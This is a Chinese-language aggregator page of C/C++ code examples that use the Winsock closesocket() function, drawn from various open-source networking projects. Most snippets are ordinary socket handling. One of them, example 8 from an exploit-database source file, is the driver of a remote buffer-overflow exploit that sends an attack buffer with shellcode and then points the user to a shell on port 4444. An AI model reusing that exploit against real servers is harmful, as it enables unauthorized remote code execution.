本文整理汇总了C++中closesocket函数的典型用法代码示例。如果您正苦于以下问题:C++ closesocket函数的具体用法?C++ closesocket怎么用?C++ closesocket使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了closesocket函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: closesocket
void Network::close_socket(SOCKET socket) {
closesocket(socket);
}
开发者ID:hustcgcl,项目名称:CloudGaming,代码行数:3,代码来源:network.cpp
示例2: HandleClientThreadFunction
// This function is used to create a new thread to handle a new client
void HandleClientThreadFunction(void * parameters){
SOCKET clientSocket = (SOCKET)parameters;
char receivedByte;
bool done = false;
// Error reporting variables
int status;
char msg[1024];
// If legacy mode, send an image at startup
if (g_bLegacy) {
status = sendFullFrame(clientSocket);
if (status == SOCKET_ERROR) done = true;
}
// Loop until the socket has been closed (recv returned 0) or an error occured (recv returned SOCKET_ERROR)
while(!done){
// Get the first byte from the client
status = recv(clientSocket, &receivedByte, 1, 0);
if(status != 1) break;
// Determine the type of request from the first byte
switch(receivedByte) {
case 'O':
// Confirm that this is part of 'OK'
if (recv(clientSocket, &receivedByte, sizeof(char), 0) != sizeof(char)) break;
if (receivedByte != 'K') break;
// Send entire frame to client
status = sendFullFrame(clientSocket);
if (status == SOCKET_ERROR) done = true;
// Flush any queued requests
break;
case 'U':
// Get requested rectangle bounds
u_long reqX, reqY, reqWidth, reqHeight;
if(recv(clientSocket, (char*)&reqX, sizeof(u_long), 0) != sizeof(u_long)) break;
if(recv(clientSocket, (char*)&reqY, sizeof(u_long), 0) != sizeof(u_long)) break;
if(recv(clientSocket, (char*)&reqWidth, sizeof(u_long), 0) != sizeof(u_long)) break;
if(recv(clientSocket, (char*)&reqHeight, sizeof(u_long), 0) != sizeof(u_long)) break;
// Send partial frame to client
status = sendPartialFrame( clientSocket,
ntohl(reqX), ntohl(reqY), ntohl(reqWidth), ntohl(reqHeight) );
if (status == SOCKET_ERROR) done = true;
// Flush any queued requests
break;
default:
continue;
}
}
// Display an error message if the socket failed
if(status == SOCKET_ERROR){
if(WSAGetLastError() != WSAECONNABORTED && WSAGetLastError() != WSAECONNRESET){
sprintf_s(msg, 1023, "WinSock Error: %i", WSAGetLastError());
MessageBox(NULL, msg, "USARSim Image Server", MB_OK);
}
}
// Thread clean-up
shutdown(clientSocket, SD_SEND);
closesocket(clientSocket);
_endthread();
}
开发者ID:adesproject,项目名称:ADES,代码行数:72,代码来源:server.cpp
示例3: HandleClientSocket
//--------------------------------------------------
// Thread handler for individual connections
//--------------------------------------------------
void HandleClientSocket(void *pData)
{
SocketData *data = (SocketData *)pData;
SOCKET iClientSocket = data->socket;
struct sockaddr_in iSockAddr = data->addr;
SocketReader *pReader = NULL;
SocketWriter *pWriter = NULL;
// check client socket
if(iClientSocket == INVALID_SOCKET)
{
OutputDebugString("Invalid Socket.\n");
goto Shutdown;
}
// check the ip
if(!Server::Get()->ValidateIpAddress(iSockAddr))
{
OutputDebugString("Ip address was rejected.\n");
goto Shutdown;
}
// allocate request buffer
pReader = new SocketReader(iClientSocket);
// socket is ready for read
if(pReader->ReadToEnd() <= 0)
{
OutputDebugString("Error reading socket.\n");
goto Shutdown;
}
// allocate reply buffer
pWriter = new SocketWriter(iClientSocket);
// write the http headers
if(ConfigManager::Get()->GetConfig()->IsHttpHeadersEnabled())
{
if (pWriter->WriteHeader() <= 0)
{
OutputDebugString("Error writing to socket: HTTP Headers.\n");
goto Shutdown;
}
}
// handle commands contained in the request buffer
QueryEngine::Get()->ParseAndExecute(pReader->GetBuffer(), pWriter);
Shutdown:
// close client socket
closesocket(iClientSocket);
// free
if(pReader)
delete pReader;
if(pWriter)
delete pWriter;
// free thread data
if(data)
delete data;
}
开发者ID:noxdominus,项目名称:httpq2,代码行数:67,代码来源:server.cpp
示例4: malloc
//.........这里部分代码省略.........
if (port == 0) {
#ifdef WIN32
fprintf(stderr, "ft_start_buffer_server: invalid port number given.\n");
goto cleanup;
#else
struct sockaddr_un sa;
/* UNIX domain socket */
s = socket(AF_UNIX, SOCK_STREAM, 0);
if (s == INVALID_SOCKET) {
perror("ft_start_buffer_server, socket");
goto cleanup;
}
sa.sun_family = AF_UNIX;
strncpy(sa.sun_path, name, sizeof(sa.sun_path));
if (bind(s, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("ft_start_buffer_server, bind");
goto cleanup;
}
SC->isUnixDomain = 0;
#endif
} else {
/* TCP socket */
struct sockaddr_in sa;
s = socket(PF_INET, SOCK_STREAM, 0);
if (s == INVALID_SOCKET) {
perror("ft_start_buffer_server, socket");
goto cleanup;
}
/* prevend "bind: address already in use" */
optval = 1;
if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) < 0) {
perror("ft_start_buffer_server, setsockopt");
goto cleanup;
}
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(s, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
perror("ft_start_buffer_server, bind");
goto cleanup;
}
SC->isUnixDomain = 0;
}
/* place the socket in non-blocking mode, required to do thread cancelation */
#ifdef WIN32
{
unsigned long enable = 0;
ioctlsocket(s, FIONBIO, &enable);
}
#else
optval = fcntl(s, F_GETFL, NULL);
optval = optval | O_NONBLOCK;
if (fcntl(s, F_SETFL, optval)<0) {
perror("ft_start_buffer_server, fcntl");
goto cleanup;
}
#endif
if (listen(s, BACKLOG)<0) {
perror("ft_start_buffer_server, listen");
goto cleanup;
}
/* set some control variables */
SC->numClients = 0;
SC->keepRunning = 1;
SC->serverSocket = s;
SC->verbosity = 10; /* TODO: specify proper values */
/* create the mutex */
if (pthread_mutex_init(&SC->lock, NULL) != 0) {
fprintf(stderr,"start_tcp_server: mutex could not be initialised\n");
goto cleanup;
}
/* create thread with default attributes */
if (pthread_create(&SC->threadID, NULL, _buffer_server_func, SC) == 0) {
/* everything went fine - thread should be running now */
return SC;
}
fprintf(stderr,"start_tcp_server: could not spawn thread\n");
pthread_mutex_destroy(&SC->lock);
cleanup:
if (SC != NULL) free(SC);
if (s != INVALID_SOCKET) {
#ifdef WIN32
shutdown(s, SD_BOTH);
#else
shutdown(s, SHUT_RDWR);
#endif
closesocket(s);
}
return NULL;
}
开发者ID:Ascronia,项目名称:fieldtrip,代码行数:101,代码来源:socketserver.c
示例5: closesocket
void TApplicationServer::nativeClose(int socket)
{
if (socket != (int)INVALID_SOCKET)
closesocket(socket);
}
开发者ID:deniskin82,项目名称:treefrog-framework,代码行数:5,代码来源:tapplicationserver_win.cpp
示例6: win_close_socket
file_error win_close_socket(osd_file *file)
{
closesocket(file->socket);
free(file);
return FILERR_NONE;
}
开发者ID:Ilgrim,项目名称:MAMEHub,代码行数:6,代码来源:winsocket.c
示例7: FD_ZERO
int SockConnector::connect(SockStream &stream, InetAddr &addr, TimeValue &tv)
{
int rv = 0;
// non-block socket
stream.set_nonblocking();
#ifdef _WIN32
// connect
rv = ::connect(stream.get_handle(), (const struct sockaddr *) addr.get_addr(), (socklen_t)addr.get_addr_size());
if (rv != -1) {
rv = 0;
}
else {
if (WSAGetLastError() == WSAEWOULDBLOCK)
{
//printf("connect InProgress [%d]\n", sock);
fd_set rset;
fd_set wset;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(stream.get_handle(), &rset);
FD_SET(stream.get_handle(), &wset);
rv = ::select(0, &rset, &wset, NULL, (struct timeval*)tv.timeval());
if (rv == 0) {
perror("connect timeout");
rv = -1;
}
else if (FD_ISSET(stream.get_handle(), &rset) || FD_ISSET(stream.get_handle(), &wset)) {
int error = 0;
socklen_t len = sizeof(error);
if (getsockopt(stream.get_handle(), SOL_SOCKET, SO_ERROR, (char *)&error, &len) == 0) {
// select error
if (error == 0) {
rv = 0;
}
else {
closesocket(stream.get_handle());
perror("connect");
rv = -1;
}
}
}
else {
perror("connect");
rv = -1;
}
}
else {
perror("connect");
rv = -1;
}
}
#endif
// restore file status flags
stream.set_blocking();
return rv;
}
开发者ID:handol,项目名称:server,代码行数:64,代码来源:SockConnector.cpp
示例8: main
int main(int argc, char **argv)
{
char * remotehost=NULL;
char default_remotehost[]="127.0.0.1";
char temp1[100], temp2[100];
int port, itarget, sh;
SOCKET s;
char c;
int option_index=0;
logo();
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
if(argc<2)
{
usage(argv[0]);
return -1;
}
// set defaults
port=9999;
itarget=-1;
sh=0;
// ------------
while((c = getopt(argc, argv, "h:p:t:"))!= EOF)
{
switch (c)
{
case 'h':
remotehost=optarg;
break;
case 't':
sscanf(optarg, "%d", &itarget);
itarget--;
break;
case 'p':
sscanf(optarg, "%d", &port);
break;
default:
usage(argv[0]);
WSACleanup();
return -1;
}
}
if(remotehost == NULL) remotehost=default_remotehost;
memset(temp1,0,sizeof(temp1));
memset(temp2,0,sizeof(temp2));
memset(temp1, '\x20' , 58 - strlen(remotehost) -1);
printf(" # Host : %s%s# \n", remotehost, temp1);
sprintf(temp2, "%d", port);
memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(temp2) -1);
printf(" # Port : %s%s# \n", temp2, temp1);
memset(temp1,0,sizeof(temp1));
memset(temp2,0,sizeof(temp2));
sprintf(temp2, "%s", shellcodes[sh].name );
memset(temp1, '\x20' , 58 - strlen(temp2) -1);
printf(" # Payload : %s%s# \n", temp2, temp1);
if(itarget!=-1)
{
memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1);
printf(" # Target : %s%s# \n", targets[itarget].t, temp1);
}else
{
memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen("Please select target") -1);
printf(" # Target : %s%s# \n", "Please select target", temp1);
}
printf(" # ------------------------------------------------------------------- # \n");
fflush(stdout);
printf(" [+] Checking if server is online\n");
fflush(stdout);
s=do_connect(remotehost, port);
if(s==-1)
{
printf(" [-] Server is OFFLINE\n");
end_logo();
return 0;
}
closesocket(s);
printf(" [+] Server is ONLINE\n");
unsigned char buf[30000];
memset(buf,0,sizeof(buf));
fflush(stdout);
make_buffer(buf, itarget, sh);
printf(" [+] Attacking buffer constructed\n");
if(send_buffer(buf, remotehost,port)==-1)
{
printf(" [-] Cannot exploit server %s\n", remotehost);
end_logo();
WSACleanup();
return -1;
}
printf(" [+] Buffer sent\n");
printf(" [+] Connect to %s:%d\n", remotehost, 4444);
//.........这里部分代码省略.........
开发者ID:ALurker,项目名称:exploit-database,代码行数:101,代码来源:4157.cpp
示例9: WndProc
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;
switch (message)
{
case WM_CREATE:
{
hdc = BeginPaint(hWnd, &ps);// дескриптор л¤ отображени¤ элементов окна
startButton = CreateWindowEx(0,TEXT("button"),TEXT("Start Server"),WS_VISIBLE|WS_CHILD,700, 20, 150, 30, hWnd, (HMENU)START_ID, hInst, 0);
stopButton = CreateWindowEx(0,TEXT("button"),TEXT("Stop Server"),WS_VISIBLE|WS_CHILD,700, 60, 150, 30, hWnd, (HMENU)STOP_ID, hInst, 0);
addButton = CreateWindowEx(0,TEXT("button"),TEXT("Add file"),WS_VISIBLE|WS_CHILD,700, 150, 150, 30, hWnd, (HMENU)ADD_ID, hInst, 0);
exitButton = CreateWindowEx(0,TEXT("button"),TEXT("Exit"),WS_VISIBLE|WS_CHILD,700, 350, 150, 30, hWnd, (HMENU)EXIT_ID, hInst, 0);
hEdit = CreateWindowEx( 0,TEXT("edit"),TEXT("127.0.0.1"), WS_CHILD | WS_VISIBLE| ES_LEFT | ES_MULTILINE,60, 10, 400, 20, hWnd, (HMENU)EDIT_ID, hInst, 0);
hEdit2 = CreateWindowEx( 0,TEXT("edit"),TEXT("12345"), WS_CHILD | WS_VISIBLE| ES_LEFT | ES_MULTILINE,60, 40, 400, 20, hWnd, (HMENU)EDIT2_ID, hInst, 0);
hList = CreateWindowEx( 0,TEXT("ListBox"),0,WS_CHILD | WS_VISIBLE| ES_LEFT|ES_NUMBER, 60, 130, 500, 400, hWnd, (HMENU)LIST_ID, hInst, 0);
EndPaint(hWnd, &ps);
break;
}
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
// –азобрать выбор:
switch (wmId)
{
case IDM_EXIT:
DestroyWindow(hWnd);
break;
case EXIT_ID:
DestroyWindow(hWnd);
break;
case ADD_ID:
{
OPENFILENAME ofn;
PSTR FileName = new char [255];
lstrcpy(FileName,"");
ZeroMemory(&ofn,sizeof(ofn)); // очистим структуру
ofn.lStructSize = sizeof(ofn);
ofn.hwndOwner = hWnd;
ofn.lpstrFile = FileName;
ofn.lpstrFilter = "WAV\0*.wav";// маскафильтра добавлени¤ файла
ofn.nFilterIndex = 1;//айдишник структуры
ofn.lpstrFileTitle = NULL;
ofn.nMaxFileTitle = 0;
ofn.lpstrInitialDir = NULL;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
ofn.nMaxFile = 9999;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_ALLOWMULTISELECT | OFN_EXPLORER;
bool ret = GetOpenFileName(&ofn);
DefWindowProc(hWnd, WM_PAINT, wParam, lParam);
SendMessage(hList,LB_ADDSTRING,wParam,(LPARAM)ofn.lpstrFile);
SendMessage(hList,LB_SETCURSEL,0,0);
break;
}
case START_ID:
{
WSAStartup(MAKEWORD(2,2), &wsaData); // Initialize Winsock
SendRecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); // Create a SOCKET for connecting to server
// Setup the TCP listening socket
ServerAddr.sin_family=AF_INET; //семейство адресов
char S[255];
SendMessage(hEdit, WM_GETTEXT, 255, (LPARAM)S);
ServerAddr.sin_addr.s_addr = inet_addr( S );
SendMessage(hEdit2, WM_GETTEXT, 255, (LPARAM)S);
int tmp = atoi(S); // число
ServerAddr.sin_port=htons(tmp);
err = bind( SendRecvSocket, (sockaddr *) &ServerAddr, sizeof(ServerAddr)); // св¤зывание адреса с сокетом
if (err == SOCKET_ERROR)
{
char strerr[256];
int tmp = WSAGetLastError();
sprintf(strerr,"%d",tmp);
std::string tmp_S;
tmp_S="ERROR number: ";
tmp_S+=strerr;
MessageBox(hWnd,(LPCSTR)strerr,tmp_S.c_str(), MB_ICONERROR);
closesocket(SendRecvSocket);
WSACleanup();
break;
}
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
int el=-100;
el=SendMessage(hList,LB_GETCURSEL,0,0);
if (el==-1)
{
MessageBox(hWnd,"Add element", "ERROR", MB_ICONERROR);
closesocket(SendRecvSocket);
WSACleanup();
break;
}
SendMessage(hList,LB_GETTEXT, el, (LPARAM)TransFileName);
hFind = FindFirstFile((LPCSTR)TransFileName, &FindFileData);
FindClose(hFind);
ifs.open(TransFileName,std::ios_base::binary);
SetTimer(hWnd,100500,50,NULL);
break;
}
case STOP_ID:
//.........这里部分代码省略.........
开发者ID:vint1024,项目名称:Stream_music,代码行数:101,代码来源:serv_3.cpp
示例10: new_ssl_stream
static int
new_ssl_stream(const char *name, int fd, enum session_type type,
enum ssl_state state, struct stream **streamp)
{
struct ssl_stream *sslv;
SSL *ssl = NULL;
int retval;
/* Check for all the needful configuration. */
retval = 0;
if (!private_key.read) {
VLOG_ERR("Private key must be configured to use SSL");
retval = ENOPROTOOPT;
}
if (!certificate.read) {
VLOG_ERR("Certificate must be configured to use SSL");
retval = ENOPROTOOPT;
}
if (!ca_cert.read && verify_peer_cert && !bootstrap_ca_cert) {
VLOG_ERR("CA certificate must be configured to use SSL");
retval = ENOPROTOOPT;
}
if (!retval && !SSL_CTX_check_private_key(ctx)) {
VLOG_ERR("Private key does not match certificate public key: %s",
ERR_error_string(ERR_get_error(), NULL));
retval = ENOPROTOOPT;
}
if (retval) {
goto error;
}
/* Disable Nagle.
* On windows platforms, this can only be called upon TCP connected.
*/
if (state == STATE_SSL_CONNECTING) {
setsockopt_tcp_nodelay(fd);
}
/* Create and configure OpenSSL stream. */
ssl = SSL_new(ctx);
if (ssl == NULL) {
VLOG_ERR("SSL_new: %s", ERR_error_string(ERR_get_error(), NULL));
retval = ENOPROTOOPT;
goto error;
}
if (SSL_set_fd(ssl, fd) == 0) {
VLOG_ERR("SSL_set_fd: %s", ERR_error_string(ERR_get_error(), NULL));
retval = ENOPROTOOPT;
goto error;
}
if (!verify_peer_cert || (bootstrap_ca_cert && type == CLIENT)) {
SSL_set_verify(ssl, SSL_VERIFY_NONE, NULL);
}
/* Create and return the ssl_stream. */
sslv = xmalloc(sizeof *sslv);
stream_init(&sslv->stream, &ssl_stream_class, EAGAIN, name);
sslv->state = state;
sslv->type = type;
sslv->fd = fd;
sslv->ssl = ssl;
sslv->txbuf = NULL;
sslv->rx_want = sslv->tx_want = SSL_NOTHING;
sslv->session_nr = next_session_nr++;
sslv->n_head = 0;
if (VLOG_IS_DBG_ENABLED()) {
SSL_set_msg_callback(ssl, ssl_protocol_cb);
SSL_set_msg_callback_arg(ssl, sslv);
}
*streamp = &sslv->stream;
return 0;
error:
if (ssl) {
SSL_free(ssl);
}
closesocket(fd);
return retval;
}
开发者ID:AlexanderFroemmgen,项目名称:ovs,代码行数:81,代码来源:stream-ssl.c
示例11: ServerWorkerThread
DWORD WINAPI ServerWorkerThread(LPVOID CompletionPortID)
{
DWORD dwBytesTransferred = 0;
CSessionInfo* pSessionInfo = NULL;
_LPTCOMPLETIONPORT lpPerIoData = NULL;
char szPacket[DATA_BUFSIZE * 2];
char szMsg[32];
char *pszPos;
while (TRUE)
{
if ( GetQueuedCompletionStatus(
(HANDLE)CompletionPortID,
&dwBytesTransferred,
(LPDWORD)&pSessionInfo,
(LPOVERLAPPED *)&lpPerIoData,
INFINITE) == 0)
{
if (g_fTerminated)
return 0;
//失败关闭
if (pSessionInfo)
{
szMsg[0] = '%';
szMsg[1] = 'X';
char *pszPos = ValToAnsiStr((int)pSessionInfo->sock, &szMsg[2]);
*pszPos++ = '$';
*pszPos = '\0';
SendExToServer(szMsg);
g_xSessionList.RemoveNodeByData(pSessionInfo);
closesocket(pSessionInfo->sock);
pSessionInfo->sock = INVALID_SOCKET;
UpdateStatusBar(FALSE);
//GlobalFree(pSessionInfo);
CSessionInfo::ObjPool().reclaimObject(pSessionInfo);
}
continue;
}
if (g_fTerminated)
return 0;
if (dwBytesTransferred == 0)
{
szMsg[0] = '%';
szMsg[1] = 'X';
char *pszPos = ValToAnsiStr((int)pSessionInfo->sock, &szMsg[2]);
*pszPos++ = '$';
*pszPos = '\0';
SendExToServer(szMsg);
g_xSessionList.RemoveNodeByData(pSessionInfo);
closesocket(pSessionInfo->sock);
pSessionInfo->sock = INVALID_SOCKET;
UpdateStatusBar(FALSE);
//GlobalFree(pSessionInfo);
CSessionInfo::ObjPool().reclaimObject(pSessionInfo);
continue;
}
// ORZ:
pSessionInfo->bufLen += dwBytesTransferred;
while ( pSessionInfo->HasCompletionPacket() )
{
szPacket[0] = '%';
szPacket[1] = 'A';
pszPos = ValToAnsiStr( (int) pSessionInfo->sock, &szPacket[2] );
*pszPos++ = '/';
pszPos = pSessionInfo->ExtractPacket( pszPos );
*pszPos++ = '$';
*pszPos = '\0';
SendExToServer( szPacket );
}
// ORZ:
if ( pSessionInfo->Recv() == SOCKET_ERROR && WSAGetLastError() != ERROR_IO_PENDING )
{
InsertLogMsg(_TEXT("WSARecv() failed"));
CloseSession(pSessionInfo->sock);
//.........这里部分代码省略.........
开发者ID:seem-sky,项目名称:learnserver,代码行数:101,代码来源:ServerSockMsg.cpp
示例12: closesocket
void SocketX::Close()
{
closesocket(socket_);
}
开发者ID:qrsrjm,项目名称:libReactor,代码行数:4,代码来源:SocketX.cpp
示例13: proxy_connect_none
static int proxy_connect_none(const char *host, unsigned short port_, struct PHB *phb)
{
struct sockaddr_in me;
int fd = -1;
if (phb->gai_cur == NULL) {
int ret;
char port[6];
struct addrinfo hints;
g_snprintf(port, sizeof(port), "%d", port_);
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_ADDRCONFIG | AI_NUMERICSERV;
if (!(ret = getaddrinfo(host, port, &hints, &phb->gai))) {
phb->gai_cur = phb->gai;
} else {
event_debug("gai(): %s\n", gai_strerror(ret));
}
}
for (; phb->gai_cur; phb->gai_cur = phb->gai_cur->ai_next) {
if ((fd = socket(phb->gai_cur->ai_family, phb->gai_cur->ai_socktype, phb->gai_cur->ai_protocol)) < 0) {
event_debug("socket failed: %d\n", errno);
continue;
}
sock_make_nonblocking(fd);
if (global.conf->iface_out) {
me.sin_family = AF_INET;
me.sin_port = 0;
me.sin_addr.s_addr = inet_addr(global.conf->iface_out);
if (bind(fd, (struct sockaddr *) &me, sizeof(me)) != 0) {
event_debug("bind( %d, \"%s\" ) failure\n", fd, global.conf->iface_out);
}
}
event_debug("proxy_connect_none( \"%s\", %d ) = %d\n", host, port_, fd);
if (connect(fd, phb->gai_cur->ai_addr, phb->gai_cur->ai_addrlen) < 0 && !sockerr_again()) {
event_debug("connect failed: %s\n", strerror(errno));
closesocket(fd);
fd = -1;
continue;
} else {
phb->inpa = b_input_add(fd, B_EV_IO_WRITE, proxy_connected, phb);
phb->fd = fd;
break;
}
}
if (fd < 0 && host) {
phb_free(phb, TRUE);
}
return fd;
}
开发者ID:revmischa,项目名称:bitlbee,代码行数:63,代码来源:proxy.c
示例14: main
//.........这里部分代码省略.........
GetLastError() );
}
Fail( "WSASocket call failed with error code %d\n",
dwSocketError );
}
/* set the socket to non-blocking */
one = 1;
err = ioctlsocket( sock, FIONBIO, &one );
if( err != 0 )
{
/* check the socket-specific error code */
dwSocketError = GetLastError();
Fail( "ioctlsocket call failed with error code %d\n",
dwSocketError );
}
/* bind local address to a socket */
err = bind( sock,
(struct sockaddr *)&mySockaddr,
sizeof(struct sockaddr) );
if( err == SOCKET_ERROR )
{
Trace("ERROR: Unexpected failure: "
"bind() socket with local address "
"returned %d\n",
GetLastError() );
/* Do some cleanup */
if (closesocket( sock )==SOCKET_ERROR )
{
Trace("Error closing socket\n");
}
if (WSACleanup()==0 )
{
Trace("WSACleanup call failed with error code %u\n",
GetLastError() );
}
Fail("");
}
/* create an event */
hReadEvent = CreateEvent( NULL, /* no security */
FALSE, /* reset type */
FALSE, /* initial state */
NULL ); /* object name */
if( hReadEvent == NULL )
{
Trace("Server error: Unexpected failure: "
"CreateEvent() "
"returned %d\n",
GetLastError());
/* Do some cleanup */
if (closesocket( sock )==SOCKET_ERROR )
{
Trace("Error closing socket\n");
}
开发者ID:smartmaster,项目名称:sscli,代码行数:66,代码来源:test2.c
示例15: dns_server
static void
dns_server(void)
{
int sock;
struct sockaddr_in my_addr;
struct evdns_server_port *port;
struct in_addr resolve_addr;
dns_ok = 1;
fprintf(stdout, "DNS server support: ");
/* Add ourself as the only nameserver, and make sure we really are
* the only nameserver. */
evdns_nameserver_ip_add("127.0.0.1:35353");
if (evdns_count_nameservers() != 1) {
fprintf(stdout, "Couldn't set up.\n");
exit(1);
}
/* Now configure a nameserver port. */
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1) {
perror("socket");
exit(1);
}
#ifdef WIN32
{
u_long nonblocking = 1;
ioctlsocket(sock, FIONBIO, &nonblocking);
}
#else
fcntl(sock, F_SETFL, O_NONBLOCK);
#endif
memset(&my_addr, 0, sizeof(my_addr));
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(35353);
my_addr.sin_addr.s_addr = htonl(0x7f000001UL);
if (bind(sock, (struct sockaddr*)&my_addr, sizeof(my_addr)) < 0) {
perror("bind");
exit (1);
}
port = evdns_add_server_port(sock, 0, dns_server_request_cb, NULL);
/* Send two queries. */
evdns_resolve_ipv4("zz.example.com", DNS_QUERY_NO_SEARCH,
dns_server_gethostbyname_cb, NULL);
evdns_resolve_ipv6("zz.example.com", DNS_QUERY_NO_SEARCH,
dns_server_gethostbyname_cb, NULL);
resolve_addr.s_addr = htonl(0xc0a80b0bUL); /* 192.168.11.11 */
evdns_resolve_reverse(&resolve_addr, 0,
dns_server_gethostbyname_cb, NULL);
event_dispatch();
if (dns_ok) {
fprintf(stdout, "OK\n");
} else {
fprintf(stdout, "FAILED\n");
exit(1);
}
evdns_close_server_port(port);
evdns_shutdown(0); /* remove ourself as nameserver. */
#ifdef WIN32
closesocket(sock);
#else
close(sock);
#endif
}
开发者ID:1065672644894730302,项目名称:Chromium,代码行数:69,代码来源:regress_dns.c
示例16: assert
TcpConnection TcpConnector::connect(const Ipv4Address& address, uint16_t port) {
assert(dispatcher != nullptr);
assert(context == nullptr);
if (dispatcher->interrupted()) {
throw InterruptedException();
}
std::string message;
SOCKET connection = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (connection == INVALID_SOCKET) {
message = "socket failed, " + errorMessage(WSAGetLastError());
} else {
sockaddr_in bindAddress;
bindAddress.sin_family = AF_INET;
bindAddress.sin_port = 0;
bindAddress.sin_addr.s_addr = INADDR_ANY;
if (bind(connection, reinterpret_cast<sockaddr*>(&bindAddress), sizeof bindAddress) != 0) {
message = "bind failed, " + errorMessage(WSAGetLastError());
} else {
GUID guidConnectEx = WSAID_CONNECTEX;
DWORD read = sizeof connectEx;
if (connectEx == nullptr && WSAIoctl(connection, SIO_GET_EXTENSION_FUNCTION_POINTER, &guidConnectEx, sizeof guidConnectEx, &connectEx, sizeof connectEx, &read, NULL, NULL) != 0) {
message = "WSAIoctl failed, " + errorMessage(WSAGetLastError());
} else {
assert(read == sizeof connectEx);
if (CreateIoCompletionPort(reinterpret_cast<HANDLE>(connection), dispatcher->getCompletionPort(), 0, 0) != dispatcher->getCompletionPort()) {
message = "CreateIoCompletionPort failed, " + lastErrorMessage();
} else {
sockaddr_in addressData;
addressData.sin_family = AF_INET;
addressData.sin_port = htons(port);
addressData.sin_addr.S_un.S_addr = htonl(address.getValue());
TcpConnectorContext context2;
context2.hEvent = NULL;
if (connectEx(connection, reinterpret_cast<sockaddr*>(&addressData), sizeof addressData, NULL, 0, NULL, &context2) == TRUE) {
message = "ConnectEx returned immediately, which is not supported.";
} else {
int lastError = WSAGetLastError();
if (lastError != WSA_IO_PENDING) {
message = "ConnectEx failed, " + errorMessage(lastError);
} else {
context2.context = dispatcher->getCurrentContext();
context2.connection = connection;
context2.interrupted = false;
context = &context2;
dispatcher->getCurrentContext()->interruptProcedure = [&]() {
assert(dispatcher != nullptr);
assert(context != nullptr);
TcpConnectorContext* context2 = static_cast<TcpConnectorContext*>(context);
if (!context2->interrupted) {
if (CancelIoEx(reinterpret_cast<HANDLE>(context2->connection), context2) != TRUE) {
DWORD lastError = GetLastError();
if (lastError != ERROR_NOT_FOUND) {
throw std::runtime_error("TcpConnector::stop, CancelIoEx failed, " + lastErrorMessage());
}
context2->context->interrupted = true;
}
context2->interrupted = true;
}
};
dispatcher->dispatch();
dispatcher->getCurrentContext()->interruptProcedure = nullptr;
assert(context2.context == dispatcher->getCurrentContext());
assert(context2.connection == connection);
assert(dispatcher != nullptr);
assert(context == &context2);
context = nullptr;
DWORD transferred;
DWORD flags;
if (WSAGetOverlappedResult(connection, &context2, &transferred, FALSE, &flags) != TRUE) {
lastError = WSAGetLastError();
if (lastError != ERROR_OPERATION_ABORTED) {
message = "ConnectEx failed, " + errorMessage(lastError);
} else {
assert(context2.interrupted);
if (closesocket(connection) != 0) {
throw std::runtime_error("TcpConnector::connect, closesocket failed, " + errorMessage(WSAGetLastError()));
} else {
throw InterruptedException();
}
}
} else {
assert(transferred == 0);
assert(flags == 0);
DWORD value = 1;
if (setsockopt(connection, SOL_SOCKET, SO_UPDATE_CONNECT_CONTEXT, reinterpret_cast<char*>(&value), sizeof(value)) != 0) {
message = "setsockopt failed, " + errorMessage(WSAGetLastError());
} else {
return TcpConnection(*dispatcher, connection);
}
}
}
}
}
}
}
//.........这里部分代码省略.........
开发者ID:RAY-official,项目名称:catalyst,代码行数:101,代码来源:TcpConnector.cpp
示例17: init_TCP_client
unsigned int init_TCP_client ( Media_TCP MediaName, char *processor_name )
{
char *server_name = NULL ;
unsigned int addr ;
int socket_type = SOCK_STREAM ;
struct sockaddr_in server ;
struct hostent *hp ;
SOCKET conn_socket ;
int status;
server_name = processor_name ;
if ( begin_socklib() == SOCKET_ERROR )
{
fprintf(stderr, "WSAStartup failed with error %d\n", WSAGetLastError());
end_socklib();
return -1 ;
}
//
// Attempt to detect if we should call gethostbyname() or
// gethostbyaddr()
if ( isalpha(server_name [0]) )
{
/* server address is a name */
hp = gethostbyname(server_name);
}
else
{
/* Convert nnn.nnn address to a usable one */
addr = inet_addr(server_name);
hp = gethostbyaddr((char *)&addr, 4, AF_INET);
}
if ( hp == NULL )
{
fprintf(stderr, "Client: Cannot resolve address [%s]: Error %d\n" , server_name, WSAGetLastError());
end_socklib();
exit(-10);
}
//
// Copy the resolved information into the sockaddr_in structure
//
memset(&server, 0, sizeof(server));
memcpy(&server.sin_addr, hp -> h_addr, hp -> h_length);
server.sin_family = hp -> h_addrtype ;
server.sin_port = htons(MediaName.port);
conn_socket = socket(AF_INET, socket_type, 0); /* Open a socket */
if ( conn_socket < 0 )
{
fprintf(stderr, "Client: Error Opening socket: Error %d\n" , WSAGetLastError());
end_socklib();
exit(-11) ;
}
printf("Client connecting to: %s\n", hp -> h_name);
status=connect(conn_socket, (struct sockaddr *)&server, sizeof(server));
while ( (status)== SOCKET_ERROR )
{
